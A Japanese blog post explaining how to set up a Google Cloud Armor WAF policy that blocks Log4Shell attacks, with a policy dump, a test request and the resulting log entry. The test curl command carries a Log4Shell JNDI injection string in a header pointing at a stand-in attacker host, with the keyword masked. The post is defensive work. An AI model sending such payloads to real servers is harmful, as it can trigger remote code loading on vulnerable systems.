Cloud ArmorでLog4Sellを防御してみる

# はじめに

[すばらしい中の方の記事](https://medium.com/google-cloud-jp/cloud-armor-waf-rule-for-apache-log4j-cfa69f8fc530)があるので、ぜひ、こちらをご覧ください。
本記事は、落穂拾い的なものになります。

# 設定

## CVEを明示的に指定
`evaluatePreconfiguredExpr('cve-canary', ['owasp-crs-v030001-id244228-cve'])`


のように記載することで、特定のCVEにのみの個別設定を追加することが可能です。

現状、Log4Shellのルールは、cve-canary（非安定版）に含まれています。
cve-canaryをブロックモードで動かすのは誤検知が怖いけど、Log4Shellの攻撃だけはブロックしたいといった要望もあると思います。

そのような時は、CVEを明示的に指定しないcve-canaryをプレビューモードで設定しつつ、
より高い値をPriorityに設定した（優先度：低）、CVEを明示的に指定したcve-canaryを、ブロックモードで動かすことで実現可能です。

ここでは、以下のような設定をしました。

```
$ gcloud compute security-policies describe <my-policies>
---
adaptiveProtectionConfig:
  layer7DdosDefenseConfig:
    enable: false
advancedOptionsConfig:
  logLevel: VERBOSE
creationTimestamp: '2021-11-28T17:19:59.725-08:00'
description: ''
fingerprint: hogehoge
id: '#################'
kind: compute#securityPolicy
name: <my-policies>
rules:
- action: deny(403)
  description: CVE-2021-44228 and CVE-2021-45046
  kind: compute#securityPolicyRule
  match:
    expr:
      expression: evaluatePreconfiguredExpr('cve-canary', ['owasp-crs-v030001-id244228-cve'])
  preview: false
  priority: 1000000
- action: deny(403)
  description: cve-canary 
  kind: compute#securityPolicyRule
  match:
    expr:
      expression: evaluatePreconfiguredExpr('cve-canary')
  preview: true
  priority: 32000
selfLink: https://www.googleapis.com/compute/v1/projects/<project-name>/global/securityPolicies/<my-policies>
type: CLOUD_ARMOR
```

# ログで確認

実際にリクエストを送ってみます。

先のブログにある、User-Agentのリクエストは、今現在（2021/12/19）、cve-canaryで攻撃判定されませんでした。
今やUser-Agentを指定したような分かり易すぎる攻撃はないからでしょうか。

ヘッダに差し込むパターンでリクエストを送ってみたところ、無事、遮断してくれました。
※ `~~~` は、じぇいえぬでぃあい〜になります。そのまま書くと、Qiitaのサニタイズ処理に引っかかってしまうようなので、伏せ文字にしています。

```
$ curl -i -H 'X-Hoge: ${~~~://malicious.example.com/attack-code}' https://<my-site>/
HTTP/2 403
content-length: 134
content-type: text/html; charset=UTF-8
date: Sun, 19 Dec 2021 03:24:51 GMT
alt-svc: clear
```

ログを確認してみます。

```
{
  "insertId": "1os2aesf6pkxjt",
  "jsonPayload": {
    "enforcedSecurityPolicy": {
      "outcome": "DENY",
      "matchedLength": 14,
      "preconfiguredExprIds": [
        "owasp-crs-v030001-id044228-cve"
      ],
      "matchedFieldType": "HEADER_VALUES",
      "matchedFieldValue": "${~~~://",
      "configuredAction": "DENY",
      "priority": 1000000,
      "name": "my-policies",
      "matchedFieldLength": 48,
      "matchedFieldName": "x-hoge"
    },
    "previewSecurityPolicy": {
      "name": "my-policies",
      "outcome": "DENY",
      "matchedFieldValue": "${~~~://",
      "matchedFieldLength": 48,
      "matchedFieldName": "x-hoge",
      "matchedFieldType": "HEADER_VALUES",
      "preconfiguredExprIds": [
        "owasp-crs-v030001-id044228-cve"
      ],
      "configuredAction": "DENY",
      "priority": 32000,
      "matchedLength": 14
    },
    "statusDetails": "denied_by_security_policy",
    "@type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry"
  },
  "httpRequest": {
    "requestMethod": "GET",
 ...
```

高優先度（32000）で設定した、プレビューモードの'cve-canary'が、ログのみを吐いたのち、
低優先度（100000）で設定した、CVE指定のポリシーで遮断したことが確認できました。

# まとめ
Cloud Armorでの設定について、紹介させていただきました。
ただ、これはあくまで緩和と考えています。
緩和でバージョンアップまでの時間を稼ぎつつ、Log4Shellの根本対策のため、サーバー側でのLog4jのアップデートをしましょう！